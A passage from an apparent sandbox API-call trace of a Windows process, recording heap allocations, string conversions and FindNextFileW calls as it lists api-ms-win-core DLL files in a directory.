ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0241.752] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0xb3c310, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.753] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0xb3c1a8, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.753] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0xb3c310, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.753] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.753] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xb3c1a8, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0241.753] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.753] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.754] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xb3c310, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.754] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c1a8, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.754] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", cchWideChar=32, lpMultiByteStr=0xb3c310, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.754] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.754] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8576430, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8576430, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-synch-l1-2-0.dll", cAlternateFileName="")) returned 1 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.754] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.754] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", cchWideChar=32, lpMultiByteStr=0xb3c1a8, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYNCH-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 32 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.755] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-sysinfo-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0xb3c310, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-SYSINFO-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.755] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d265d70, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-threadpool-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0xb3c1a8, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-THREADPOOL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.755] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.755] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb859c590, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb859c590, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2d60, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-timezone-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 35 [0241.755] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.755] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", cchWideChar=35, lpMultiByteStr=0xb3c310, cbMultiByte=35, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-TIMEZONE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 35 [0241.756] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.756] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.756] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.756] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.756] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.756] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d21b931, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d21b931, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d21a280, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-util-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.756] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.756] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3ea60 [0241.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0241.756] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c1a8 [0241.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0xb3c1a8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-UTIL-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0241.756] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x40) returned 0xb3c310 [0241.756] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c1a8) returned 1 [0241.756] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3c310) returned 1 [0241.756] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3ea60) returned 1 [0241.756] RtlFreeHeap (HeapHandle=0xb30000, Flags=0x0, BaseAddress=0xb3e9d8) returned 1 [0241.756] FindNextFileW (in: hFindFile=0x8d0078, lpFindFileData=0x192f804 | out: lpFindFileData=0x192f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d9fe1dc, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d9fe1dc, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x2d9fd330, ftLastWriteTime.dwHighDateTime=0x1ca040f, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x8cff88, dwReserved1=0x0, cFileName="api-ms-win-core-xstate-l1-1-0.dll", cAlternateFileName="")) returned 1 [0241.756] RtlAllocateHeap (HeapHandle=0xb30000, Flags=0x8, Size=0x80) returned 0xb3e9d8 [0241.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0xb3c310, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-XSTATE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0241.756] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-XSTATE-L2-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0241.756] WideCharToMultiByte (in: CodePage=0x0, 